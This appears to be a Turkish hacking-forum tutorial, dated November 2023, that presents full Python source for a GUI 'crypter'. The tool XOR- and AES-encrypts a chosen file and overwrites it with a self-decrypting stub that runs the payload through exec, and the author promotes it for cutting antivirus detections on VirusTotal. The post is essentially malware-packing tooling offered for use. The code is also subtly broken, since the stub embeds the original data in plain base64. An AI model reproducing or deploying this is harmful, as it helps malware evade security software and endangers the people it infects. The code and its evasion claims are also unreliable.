- 26 Kas 2023
- 161
- 96
Merhaba bugün gerçek bir crypter yapacağız. Kodların hepsini paylaşacağım ve eğer başarılı olursak virustotalde bir
dosyayı 30/71 gösteriyorken 7/71'e düşürebilip ud crypter yapabileceğiz.
Bu kodumuzda dosyayı şifreleyecek sonra ise dosyaya o şifreyi çözüp çalıştırma mekanizması ekleyeceğiz.
Kod:
import base64
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad
import tkinter as tk
from tkinter import filedialog
def xor_crypt(data, key):
key = key * (len(data) // len(key) + 1)
return bytes(x ^ y for x, y in zip(data, key))
def aes_encrypt(data, key, iv):
padded_data = pad(data, AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return cipher.encrypt(padded_data)
def encrypt_file(file_path, key, iv):
with open(file_path, 'rb') as file:
data = file.read()
encrypted_data = aes_encrypt(xor_crypt(data, key), key, iv)
decode = f"""import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def xor_crypt(data, key):
key = key * (len(data) // len(key) + 1)
return bytes(x ^ y for x, y in zip(data, key))
def aes_encrypt(data, key, iv):
padded_data = base64.b64decode('{base64.b64encode(data).decode()}')
cipher = AES.new(key, AES.MODE_CBC, iv)
return cipher.encrypt(padded_data)
def aes_decrypt(data, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = cipher.decrypt(data)
return unpad(decrypted_data, AES.block_size)
key = {key}
iv = {iv}
original_data = base64.b64decode('{base64.b64encode(encrypted_data).decode()}')
encrypted_data = aes_encrypt(xor_crypt(original_data, key), key, iv)
decrypted_data = xor_crypt(aes_decrypt(encrypted_data, key, iv), key)
exec(decrypted_data)
"""
encrypted_file_path = file_path
with open(encrypted_file_path, 'wb') as encrypted_file:
encrypted_file.write(decode.encode())
return encrypted_file_path
def browse_file():
file_path = filedialog.askopenfilename()
key = get_random_bytes(16)
iv = get_random_bytes(16)
encrypted_file_path = encrypt_file(file_path, key, iv)
result_label.config(text=f"File Encrypted: {encrypted_file_path}")
app = tk.Tk()
app.title("MyCrypter")
app.geometry("400x200")
browse_button = tk.Button(app, text="Browse", command=browse_file)
browse_button.pack(pady=20)
result_label = tk.Label(app, text="")
result_label.pack()
app.mainloop()